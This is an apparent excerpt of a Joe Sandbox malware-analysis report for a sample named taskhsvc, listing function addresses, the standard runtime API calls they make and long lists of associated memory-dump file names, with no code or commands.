Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002B2C5F, Relevance: 1.5, APIs: 1, Instructions: 21

APIs

Part of subcall function 002B2B73: __stack_chk_fail.LIBSSP-0 ref: 002B2C58

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00233A48), ref: 002B2C98

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0033202E, Relevance: 1.5, APIs: 1, Instructions: 20

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313FDC), ref: 00332060

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001DEA55, Relevance: 1.5, APIs: 1, Instructions: 19

APIs

Part of subcall function 001DCFB4: __stack_chk_fail.LIBSSP-0 ref: 001DCFE5

Part of subcall function 00273787: abort.MSVCRT ref: 002737EC
Part of subcall function 00273787: abort.MSVCRT ref: 0027382B
Part of subcall function 00273787: abort.MSVCRT ref: 0027387B
Part of subcall function 00273787: abort.MSVCRT ref: 0027395E
Part of subcall function 00273787: memcpy.MSVCRT ref: 002739F6
Part of subcall function 00273787: __stack_chk_fail.LIBSSP-0 ref: 00273AAC

__stack_chk_fail.LIBSSP-0 ref: 001DEAB7

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00223734, Relevance: 1.5, APIs: 1, Instructions: 19

APIs

Part of subcall function 002E6A4B: abort.MSVCRT ref: 002E6AAF
Part of subcall function 002E6A4B: abort.MSVCRT ref: 002E6B04
Part of subcall function 002E6A4B: __stack_chk_fail.LIBSSP-0 ref: 002E6B81

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0022A9F8), ref: 00223769

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00332920, Relevance: 1.5, APIs: 1, Instructions: 19

APIs

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 0033202E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313FDC), ref: 00332060

__stack_chk_fail.LIBSSP-0 ref: 00332958

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00326573, Relevance: 1.5, APIs: 1, Instructions: 18

APIs

Part of subcall function 00326206: abort.MSVCRT ref: 00326275
Part of subcall function 00326206: fclose.MSVCRT ref: 0032628D
Part of subcall function 00326206: strerror.MSVCRT ref: 003262A6
Part of subcall function 00326206: _close.MSVCRT ref: 00326301
Part of subcall function 00326206: strerror.MSVCRT ref: 00326316
Part of subcall function 00326206: abort.MSVCRT ref: 003263BD
Part of subcall function 00326206: _unlink.MSVCRT ref: 003263D0
Part of subcall function 00326206: strerror.MSVCRT ref: 003263EE
Part of subcall function 00326206: strcmp.MSVCRT ref: 00326444
Part of subcall function 00326206: abort.MSVCRT ref: 00326481
Part of subcall function 00326206: strerror.MSVCRT ref: 003264AD
Part of subcall function 00326206: free.MSVCRT ref: 00326508
Part of subcall function 00326206: free.MSVCRT ref: 00326530
Part of subcall function 00326206: free.MSVCRT ref: 00326552
Part of subcall function 00326206: __stack_chk_fail.LIBSSP-0 ref: 0032656C

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,002C0EBF), ref: 003265A7

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001CAF32, Relevance: 1.5, APIs: 1, Instructions: 17

APIs

Part of subcall function 0031F06F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CAF47), ref: 0031F0A7

Part of subcall function 001CDB8D: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CAF51), ref: 001CDC05

Part of subcall function 001CEE56: time.MSVCRT ref: 001CEE77
Part of subcall function 001CEE56: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001C7367), ref: 001CEE98

__stack_chk_fail.LIBSSP-0 ref: 001CAF62

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E60BF, Relevance: 1.5, APIs: 1, Instructions: 14

APIs

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

__stack_chk_fail.LIBSSP-0 ref: 001E60E6

Memory Dump Source

